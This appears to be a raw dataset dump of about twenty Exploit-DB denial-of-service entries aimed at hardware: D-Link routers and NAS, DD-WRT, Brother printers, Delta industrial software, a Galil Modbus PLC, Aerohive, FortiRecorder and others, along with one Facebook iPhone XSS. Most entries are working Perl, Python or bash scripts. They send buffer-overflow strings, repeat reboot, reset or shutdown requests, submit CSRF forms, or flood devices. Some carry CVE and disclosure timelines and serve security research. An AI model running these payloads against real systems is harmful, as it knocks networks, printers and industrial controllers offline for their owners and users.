deardaniel/secdata-raw huggingface dataset:
Exploit-DB #45317
Description: D-Link DIR-615 - Denial of Service (PoC)
Type: dos
Platform: hardware
Date: 2018-09-03
Author: Aniket Dinda

Exploit:
# Exploit Title: D-Link DIR-615 - Denial of Service (PoC)
# Date: 2018-08-09
# Vendor Homepage: http://www.dlink.co.in
# Hardware Link:  https://www.amazon.in/D-Link-DIR-615-Wireless-N300-Router-Black/dp/B0085IATT6
# Version: D-Link DIR-615
# Category: Hardware
# Exploit Author:  Aniket Dinda
# Tested on: Linux (kali linux)
# Web: https://hackingvila.wordpress.com/2018/08/24/d-link-dir-615-buffer-overflow-via-a-long-authorization-http-header-click-here/
# Cve: CVE-2018-15839

# Proof Of Concept:

1- First connect to this network
2- Open BurpSuite and then start the intercept, making the necessary proxy changes to the internet browser.
3- Goto Easy setup > 
4- Now as the Burp is intercept is on, you will find an Authorization: Basic or cookie: SessionId followed by a string. Now we paste a string consisting oaf 5000 zeros.
5- Then forward the connection
6- Then your router automatically log out and the net connection will be gone.
Exploit-DB #18199
Description: D-Link DNS-320 ShareCenter - Remote Reboot/Shutdown/Reset (Denial of Service)
Type: dos
Platform: hardware
Date: 2011-12-05
Author: rigan

Exploit:
#!/usr/bin/perl
#
#  Title:  ShareCenter D-Link DNS-320 remote reboot/shutdown/reset (DoS). 
#  Type:   Hardware
#  Remote: yes
#  Author: rigan - imrigan [sobachka] gmail.com
#  
#  Tested on:
#  Firmware    : DNS320-v2.00b06
#
#  Security flaws: 
#  dsk_mgr.cgi allows execute reboot via POST request with parameter cmd=FMT_restart.
#  system_mgr.cgi allows execute reboot via POST request with parameter cmd=cgi_restart or cmd=cgi_reboot.
#  system_mgr.cgi allows execte shutdown via POST request with parameter cmd=cgi_shutdown. 
#  wizard_mgr.cgi allows to reset the firmware to default settings via POST request with parameter cmd=cgi_wizard.

use LWP::UserAgent;

print "[*] ShareCenter D-Link DNS-320 Remote Dos Exploit\n";

if (@ARGV != 3){ &usage; }

while (@ARGV > 0){
   $ip = shift(@ARGV);
   $port = shift(@ARGV);
   $mode = shift(@ARGV);
}

@cgi = ("dsk_mgr.cgi", "system_mgr.cgi", "wizard_mgr.cgi", "system_mgr.cgi");
@cmd = ("cmd=FMT_restart", "cmd=cgi_restart", "cmd=cgi_wizard", "cmd=cgi_shutdown");

$url = "http://".$ip.":".$port."/cgi-bin/".$cgi[$mode];

print "[*] DoS.............................................  \n"; 
while(1){
   my $ua = new LWP::UserAgent;
   my $req = HTTP::Request->new(POST=>$url);
   $req->content_type('application/x-www-form-urlencoded');
   $req->content($cmd[$mode]);
   my $res = $ua->request($req);
}

sub usage(){
   print "Usage: perl dlink.pl [target ip] [port] [0,1,2,3]  \n";
   print "=================================================  \n";
   print "0 - dsk_mgr.cgi cmd=FMT_restart [Reboot]           \n";
   print "1 - system_mgr.cgi cmd=cgi_restart [Reboot]        \n";
   print "2 - wizard_mgr.cgi cmd=cgi_wizard [Reset]          \n";
   print "3 - system_mgr.cgi cmd=shutdown [Shutdown]         \n";
   exit;
}
Exploit-DB #17501
Description: D-Link DSL-2650U - Denial of Service (PoC)
Type: dos
Platform: hardware
Date: 2011-07-07
Author: Li'el Fridman

Exploit:
# Exploit Title: Dlink DSL-2650U DoS/PoC
# Date: July 6th, 2011
# Author: Li'el Fridman
# Software Link:
ftp://ftp.dlink.ru/pub/ADSL/DSL-2650U_BRU_D/Firmware/RU_1.20/DSL-2650U_BRU_D1_RU_1.20_06222011.zip
# Version: 1.20
# Tested on: Default firmware - Linux 2.6.8.1

#!/usr/bin/env python
# -*- coding: utf-8 -*-

import sys
import os
import urllib

ip = raw_input('Please enter the router address: ')
username = raw_input('Please enter the router user name: ')
password = raw_input('Please enter the router password: ')
path = 'http://{0}:{1}@{2}/diagpppoe.cgi?diagPrev=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'.format(username, password, ip)
print 'Trying {0}'.format(path)
opener = urllib.urlopen(path)
print 'Owned!'
Exploit-DB #34203
Description: D-Link DWR-113 Rev. Ax - Cross-Site Request Forgery / Denial of Service
Type: dos
Platform: hardware
Date: 2014-07-30
Author: Blessen Thomas

Exploit:
Exploit Title:  Dlink DWR-113 Rev. Ax - CSRF causing Denial of Service
Google dork : N/A
Exploit Author: Blessen Thomas
Date : 29/07/14
Vendor Homepage : http://www.dlink.com/
Software Link : N/A
Firmware version: v2.02 2013-03-13
Tested on : Windows 7
CVE : CVE-2014-3136
Type of Application :  Web application
Release mode : Coordinated disclosure



Vulnerability description:



It was observed that the D-link DWR-113 wireless router is vulnerable to
denial of service attack via CSRF(Cross-Site Request Forgery) vulnerability.



An attacker could craft a malicious CSRF exploit to change the password in
the password functionality when the user(admin) is logged in to the
application ,as the user interface (admin panel) lacks the csrf token or
nonce to prevent an attacker to change the password.



As a result, as soon as the crafted malicious exploit is executed the
router is rebooted and the user could not login thus forcing to reset the
router’s device physically ,leading to a denial of service condition.



POC code (exploit) :



*Restart Router by CSRF*



<html>

  <!-- CSRF PoC --->

  <body>

    <form action="http://192.168.0.1/rebo.htm">

      <input type="hidden" name="S00010002" value="test" />

      <input type="hidden" name="np2" value="test" />

      <input type="hidden" name="N00150004" value="0" />

      <input type="hidden" name="N00150001" value="" />

      <input type="hidden" name="N00150003" value="1080" />

      <input type="hidden" name="_cce" value="0x80150002" />

      <input type="hidden" name="_sce" value="%Ssc" />

      <input type="submit" value="Submit request" />

    </form>

  </body>

</html>





Tools used :

Mozilla firefox browser v28.0 , Burp proxy free edition v1.5



Timeline :



06-04-14 : Contacted Vendor with details of Vulnerability and Exploit.



06-04-14 : Vendor D-Link forwards to R&D team for review



29-04-14 : Vendor contacted to know the status.



01-05-14 : Vendor acknowledged and released a patch



01-05-14 : CVE ID provided by Mitre team.



http://securityadvisories.dlink.com/security/publication.aspx?name=SAP10034
Exploit-DB #28230
Description: D-Link Routers - UPNP Buffer Overflow
Type: dos
Platform: hardware
Date: 2006-07-17
Author: Barnaby Jack

Exploit:
source: https://www.securityfocus.com/bid/19006/info

D-Link wired and wireless routers are prone to a buffer-overflow vulnerability because these devices fail to properly bounds-check user-supplied input before copying it to an insufficiently sized memory buffer.

Successful exploits can allow remote attackers to execute arbitrary machine code in the context of the affected device.

Attackers can exploit this issue by sending a request of the form:

M-SEARCH <800 byte string> HTTP/1.0

to UDP port 1900.
Exploit-DB #34394
Description: D-Link WBR-2310 1.0.4 - 'GET' Remote Buffer Overflow (PoC)
Type: dos
Platform: hardware
Date: 2010-08-03
Author: Rodrigo Escobar

Exploit:
source: https://www.securityfocus.com/bid/42153/info

D-Link WBR-2310 is prone to a remote buffer-overflow vulnerability because it fails to bounds-check user-supplied input before copying it into an insufficiently sized memory buffer. This issue occurs in the device's webserver.

Exploiting this vulnerability may allow remote attackers to execute arbitrary code in the context of the affected devices webserver.

D-Link WBR-2310 firmware version 1.04 is vulnerable; other versions may also be affected. 

#!/usr/bin/perl
use IO::Socket;

        if (@ARGV < 1) {
                usage();
        }

        $ip     = $ARGV[0];
        $port   = $ARGV[1];

        print "[+] Sending request...\n";

        $socket = IO::Socket::INET->new( Proto => "tcp", PeerAddr =>
"$ip", PeerPort => "$port") || die "[-] Connection FAILED!\n";
        print $socket "GET
/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\r\n";

        sleep(3);
        close($socket);

        print "[+] Done!\n";

sub usage() {
        print "[-] Usage: <". $0 ."> <host> <port>\n";
        print "[-] Example: ". $0 ." 192.168.0.1 80\n";
        exit;
}
Exploit-DB #49730
Description: DD-WRT 45723 - UPNP Buffer Overflow (PoC)
Type: dos
Platform: hardware
Date: 2021-03-31
Author: Enesdex

Exploit:
# Exploit Title: DD-WRT 45723 - UPNP Buffer Overflow (PoC)
# Date: 24.03.2021
# Exploit Author: Selim Enes 'Enesdex' Karaduman
# Vendor Homepage: https://dd-wrt.com/
# Software Link: https://download1.dd-wrt.com/dd-wrtv2/downloads/betas/2021/
# Version: 45723 or prior
# Tested on: TP-Link Archer C7

# https://ssd-disclosure.com/ssd-advisory-dd-wrt-upnp-buffer-overflow/

import socket

target_ip = "192.168.2.1" # IP Address of Target
off = "D"*164
ret_addr = "AAAA" 

payload = off + ret_addr

packet = \
    'M-SEARCH * HTTP/1.1\r\n' \
    'HOST:239.255.255.250:1900\r\n' \
    'ST:uuid:'+payload+'\r\n' \
    'MX:2\r\n' \
    'MAN:"ssdp:discover"\r\n' \
    '\r\n'

s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM, socket.IPPROTO_UDP)
s.sendto(packet, (target_ip, 1900) )
Exploit-DB #43119
Description: Debut Embedded HTTPd 1.20 - Denial of Service
Type: dos
Platform: hardware
Date: 2017-11-02
Author: z00n

Exploit:
# Exploit Title: Remote un-authenticated DoS in Debut embedded httpd server in Brother printers
# Date: 11/02/2017
# Exploit Author: z00n (@0xz00n)
# Vendor Homepage: http://www.brother-usa.com
# Version: <= 1.20
# CVE : CVE-2017-16249
#
#Description:
#The Debut embedded http server contains a remotely exploitable denial of service where a single malformed HTTP POST request can cause the server to hang until eventually replying with an HTTP 500 error.  While the server is hung, print jobs over the network are blocked and the web interface is inaccessible. An attacker can continuously send this malformed request to keep the device inaccessible to legitimate traffic.
#
#Remediation Steps:
#No patch currently exists for this issue. To limit exposure, network access to these devices should be limited to authorized personnel through the use of Access Control Lists and proper network segmentation.
#
#Disclosure Attempts:
#09/11/2017 - Attempt to contact vendor
#10/03/2017 - Live chat communications with vendor regarding no reply
#10/25/2017 - Attempt to contact vendor
#11/02/2017 - Advisory published
#
#Proof of Concept:

#!/usr/bin/python
import socket
import sys

target = raw_input("[*] Enter target IP or hostname: ")
port = raw_input("[*] Enter target port: ")

payload = "POST / HTTP/1.1\r\n"
payload += "Host: asdasdasd\r\n"
payload += "User-Agent: asdasdasd\r\n"
payload += "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n"
payload += "Accept-Language: en-US,en;q=0.5\r\n"
payload += "Referer: asdasdasdasd\r\n"
payload += "Connection: close\r\n"
payload += "Upgrade-Insecure-Requests: 1\r\n"
payload += "Content-Type: application/x-www-form-urlencoded\r\n"
payload += "Content-Length: 42\r\n"
payload += "asdasdasdasdasdasdasd\r\n\r\n"

print "[*] Starting DOS.  Payload will be sent every time the server responds."
while True:
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

    try:
        s.connect((target,int(port)))
        print "[*] Sending DOS payload"
        s.send(payload)
        # Wait for server to respond with 500 error
        s.recv(4096)
        s.close()
    except:
        print("[!] Can't connect to target")
        sys.exit()
Exploit-DB #44965
Description: Delta Industrial Automation COMMGR 1.08 - Stack Buffer Overflow (PoC)
Type: dos
Platform: hardware
Date: 2018-07-02
Author: t4rkd3vilz

Exploit:
# Exploit Title: Delta Electronics Delta Industrial Automation COMMGR
- Remote STACK-BASED BUFFER OVERFLOW
# Date: 02.07.2018
# Exploit Author: t4rkd3vilz
# Vendor Homepage: http://www.deltaww.com/
# Software Link: http://www.deltaww.com/Products/PluginWebUserControl/downloadCenterCounter.aspx?DID=2093&DocPath=1&hl=en-US
# Version:
COMMGR Version 1.08 and prior.
   DVPSimulator EH2, EH3, ES2, SE, SS2
   AHSIM_5x0, AHSIM_5x1
# Tested on: Kali Linux
# CVE : CVE-2018-10594


#Run exploit, result DOS

import socket


ip = raw_input("[+] IP to attack: ")

sarr = []
i = 0
while True:
    try:
        sarr.append(socket.create_connection((ip,80)))
        print "[+] Connection %d" % i
        crash1 = "\x41"*4412 +"\X42"*1000
        sarr[i].send(crash1+'\r\n')
        i+=1
    except socket.error:
        print "[*] Server crashed "
        raw_input()
        break
Exploit-DB #44934
Description: DIGISOL DG-BR4000NG - Buffer Overflow (PoC)
Type: dos
Platform: hardware
Date: 2018-06-25
Author: Adipta Basu

Exploit:
# Exploit Title: DIGISOL DG-BR4000NG - Buffer Overflow (PoC)
# Date 2018-06-24
# Vendor Homepage† http://www.digisol.com
# Hardware Link httpswww.amazon.inDigisol-DG-BR4000NG-Wireless-Broadband-802-11ndpB00A19EHYK
# Version: DIGISOL DG-BR4000NG Wireless Router
# Category Hardware
# Exploit Author Adipta Basu
# Tested on Mac OS High Sierra
# CVE CVE-2018-12706

# Reproduction Steps

- Goto your Wifi Router Gateway [i.e http192.168.2.1]
- Go to -- General Setup -- Wireless -- Basic Settings
- Open BurpSuite
- Reload the Page
- Burp will capture the intercepts.
- Add a string of 500 ì0îs after the Authorization Basic string
- The router will restart.
- Refresh the page, and the whole web interface will be faulty.
Exploit-DB #32305
Description: Dreambox - Web Interface URI Remote Denial of Service
Type: dos
Platform: hardware
Date: 2008-08-29
Author: Marc Ruef

Exploit:
source: https://www.securityfocus.com/bid/30919/info

Dreambox is prone to a remote denial-of-service vulnerability.

Attackers can exploit this issue to crash the affected device, denying service to legitimate users. Given the nature of this issue, attackers may also be able to run arbitrary code, but this has not been confirmed.

Dreambox DM500C is vulnerable; other models may also be affected. 

open|send GET http://www.example.com/aaa(...)
HTTP/1.0\n\n|sleep|close|pattern_not_exists HTTP/1.# ### *
Exploit-DB #19513
Description: Eicon Networks DIVA LAN ISDN Modem 1.0 Release 2.5/1.0/2.0 - Denial of Service
Type: dos
Platform: hardware
Date: 1999-09-27
Author: Bjorn Stickler

Exploit:
source: https://www.securityfocus.com/bid/665/info

A vulnerability in the Diva LAN ISDN Modem allows remote malicious users to lock up the modem requiring a hard reset.

The vulnerability manifests itself when a remote users connects to the Diva HTTP port and sends a GET request of the form 'login.html?password=<very long string>'.

Enter the URL 'http://diva/login.htm?[CREDENTIAL_REDACTED]' into your browser, where 'diva' is the IP address of the modem.
Exploit-DB #21791
Description: Enterasys SSR8000 SmartSwitch - Port Scan Denial of Service
Type: dos
Platform: hardware
Date: 2002-09-13
Author: Mella Marco

Exploit:
source: https://www.securityfocus.com/bid/5703/info

The SSR8000 is a SmartSwitch distributed and maintained by Enterasys.

It has been discovered that SSR8000 switches react unpredictably when portscanned. When these switches are scanned using specific types of TCP traffic, and scanned on certain ports, the switch becomes unstable. It has been reported that this can be reproduced consistently to cause the switch to crash. 

nmap -PT 10.2.1.1 -p '15077-15078'
Exploit-DB #48441
Description: Extreme Networks Aerohive HiveOS 11.0 - Remote Denial of Service (PoC)
Type: dos
Platform: hardware
Date: 2020-05-08
Author: LiquidWorm

Exploit:
# Exploit title : Extreme Networks Aerohive HiveOS 11.0 - Remote Denial of Service (PoC)
# Exploit Author : LiquidWorm
# Date : 2020-05-06
# Vendor: Extreme Networks
# Product web page: https://www.extremenetworks.com
# Datasheet: https://www.aerohive.com/wp-content/uploads/Aerohive_Datasheet_HiveOS.pdf
# Affected version: <=11.x

#!/bin/bash
#
#
# Extreme Networks Aerohive HiveOS <=11.x Remote Denial of Service Exploit
#
#
# Vendor: Extreme Networks
# Product web page: https://www.extremenetworks.com
# Datasheet: https://www.aerohive.com/wp-content/uploads/Aerohive_Datasheet_HiveOS.pdf
# Affected version: <=11.x
#
# Summary: Aerohive HiveOS is the network operating system that powers
# all Aerohive access points, based on a feature-rich Cooperative Control
# architecture. HiveOS enables Aerohive devices to organize into groups,
# or 'hives', which allows functionality like fast roaming, user-based
# access control and fully stateful application-aware firewall policies,
# as well as additional security and RF networking features - all without
# the need for a centralized or dedicated controller.
#
# Desc: An unauthenticated malicious user can trigger a Denial of Service
# (DoS) attack when sending specific application layer packets towards the
# Aerohive NetConfig UI. This PoC exploit renders the application unusable
# for 305 seconds or 5 minutes with a single HTTP request using the action.php5
# script calling the CliWindow function thru the _page parameter, denying
# access to the web server hive user interface.
#
# Vendor mitigation:
# CLI> no system web-server hive-ui enable
#
# Tested on: Hiawatha v9.6
#
#
# Vulnerability discvered by Gjoko 'LiquidWorm' Krstic
#                            @zeroscience
#
#
# Advisory ID: ZSL-2020-5566
# Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2020-5566.php
#
#
# 05.12.2019
#

if [ "$#" -ne 1 ]; then
	echo -ne "\nUsage: $0 [ipaddr]\n\n"
	exit
fi

IP=$1

SBYTES=`echo -e \
"\x61\x63\x74\x69\x6f\x6e\x2e"\
"\x70\x68\x70\x35\x3f\x5f\x70"\
"\x61\x67\x65\x3d\x43\x6c\x69"\
"\x57\x69\x6e\x64\x6f\x77\x26"\
"\x5f\x61\x63\x74\x69\x6f\x6e"\
"\x3d\x67\x65\x74\x26\x5f\x61"\
"\x63\x74\x69\x6f\x6e\x54\x79"\
"\x70\x65\x3d\x31"`##_000000251

curl -vk "https://$IP/$SBYTES" --user-agent "Profesorke/Dzvoneshe"
Exploit-DB #10947
Description: Facebook for iPhone - Persistent Cross-Site Scripting Denial of Service
Type: dos
Platform: hardware
Date: 2010-01-03
Author: marco_

Exploit:
Facebook for iPhone persistent XSS

Facebook application for iPhone is not encoding special characters in Notes detail

Adding this code in a note will freeze application:
<script>var x = 'x'; while (1) { document.write('<iframe src="tel:'+x+'"></iframe>'); x = x + 'x'; }</script>

App page: http://www.facebook.com/apps/application.php?id=[PII_REDACTED]
Download: http://phobos.apple.com/WebObjects/MZStore.woa/wa/viewSoftware?id=284882215&mt=8

marco_ <marcojetson@gmail.com>
Exploit-DB #51326
Description: FortiRecorder 6.4.3 - Denial of Service
Type: dos
Platform: hardware
Date: 2023-04-08
Author: Mohammed Adel

Exploit:
# Exploit Title: FortiRecorder 6.4.3 - Denial of Service
# Google Dork: N/A
# Date: 13/03/2023
# Exploit Author: Mohammed Adel
# Vendor Homepage: https://www.fortinet.com/
# Software Link: https://www.fortinet.com/products/network-based-video-security/forticam-fortirecorder
# Version: 6.4.3 and below && 6.0.11 to 6.0.0
# Tested on: Kali Linux
# CVE : CVE-2022-41333
# Security Advisory: https://www.fortiguard.com/psirt/FG-IR-22-388
# Technical Analysis: https://medium.com/@0xpolar/cve-2022-41333-71eb289d60b5

import requests
import warnings
import sys
from urllib.parse import unquote
warnings.filterwarnings('ignore', message='Unverified HTTPS request')

def POST(target, req_type, payload):
    print("[+] Target      : "+target)
    print("[+] Request Type: POST")
    print("[+] Payload     : " +payload)
    post_url = target+"/module/admin.fe"
    post_headers = {"User-Agent": "CVE-2022-41333", "Content-Type": "application/x-www-form-urlencoded"}
    url_decoder = unquote(payload)
    full_payload = "fewReq="+url_decoder
    while True:
        r = requests.post(post_url, headers=post_headers, data=full_payload, verify=False)
        if "Failed: Access denied" in r.text:
            print("[+] Payload Sent.")
        else:
            print("[!] Something went wrong!")
            print(r.text)

def GET(target, req_type, payload):
    print("[+] Target      : "+target)
    print("[+] Request Type: GET")
    print("[+] Payload     : " +payload)
    while True:
      url = target+"/module/admin.fe?fewReq="+payload
      headers = {"User-Agent": "CVE-2022-41333", "Connection": "close"}
      r = requests.get(url, headers=headers, verify=False)
      if "Failed: Access denied" in r.text:
          print("[+] Payload Sent.")
      else:
          print("[!] Something went wrong!")
          print(r.text)


print("[+] Starting ..")
target = str((sys.argv[1])) # https://fortirecorder.fortidemo.com
req_type = str((sys.argv[2])) # POST or GET
payload = str((sys.argv[3])) # :B:JSsrJW16blB9dXp8ayJMZmxcfnJee3J2cTltem5efGt2cHEiLio5amx6bXF+cnoi


if "post" in req_type.lower():
    if "https" in target.lower() or "http" in target.lower():
        POST(target, req_type, payload)
    else:
        print("[!] Invalid Target. [Ex: https://fortirecorder.fortidemo.com]")
elif "get" in req_type.lower():
    if "https" in target.lower() or "http" in target.lower():
        GET(target, req_type, payload)
    else:
        print("[!] Invalid Target. [Ex: https://fortirecorder.fortidemo.com]")
else:
    print("[!] Invalid Request Type.")
Exploit-DB #27131
Description: Galil-RIO Modbus - Denial of Service
Type: dos
Platform: hardware
Date: 2013-07-27
Author: Sapling

Exploit:
# Exploit Title: Galil RIO-47100
# Date: 05-01-2013
# Exploit Author: Sapling
# Vendor Homepage: www.galilmc.com
# Version: Rio Firmware Prior to 1.1d
# CVE : CVE-2013-0699
# ICSA: ICSA-13-116-01

/* There are many different ways to crash this PLC but most of them are
centralized around the repeating a request in a single packet format. So
read a coil repeated in a single packet.
The Rio-47100 by Galil is a small PLC with an internal RISC based
processor. It communicates using ModBus, or Telnet over Ethernet as well as
having a web server built in that allows a user to issue commands.
I take no responsibility for the use of this code and using this code you
agree to take responsibility for your own actions. */


# Python Proof of concept
# A quick run down of the last half start at \x06
# \x06 length
# \x01 unit id
# \x01 function code (read coils)
# \x00\x00 start address
# \x00\x01 coil quantity
# Repeat the request in the packet 100 times
# Unfortunateley I can't remember the minimum number of times you have to
repeat to cause the crash

import sys
import socket

new = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
new.connect(('192.168.1.12', 502)) #Change the IP address to your PLC IP
Address
new.send('\x00\x01\x00\x00\x00\x06\x01\x01\x00\x00\x00\x01'*100)
Exploit-DB #13825
Description: GoodiWare GoodReader iPhone - '.XLS' Denial of Service
Type: dos
Platform: hardware
Date: 2010-06-11
Author: Matthew Bergin

Exploit:
I wrote a fuzzer "dumb fuzzer" and used a sample from http://www.ccp14.ac.uk/ccp/web-mirrors/bca-spreadsheets/scanplot101.xls  which I randomly found on the internet. I mutated the data and tested roughly 1000 cases on several Document Reader Applications for iPhone. 

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/13825.xls (goodreader_poc.xls)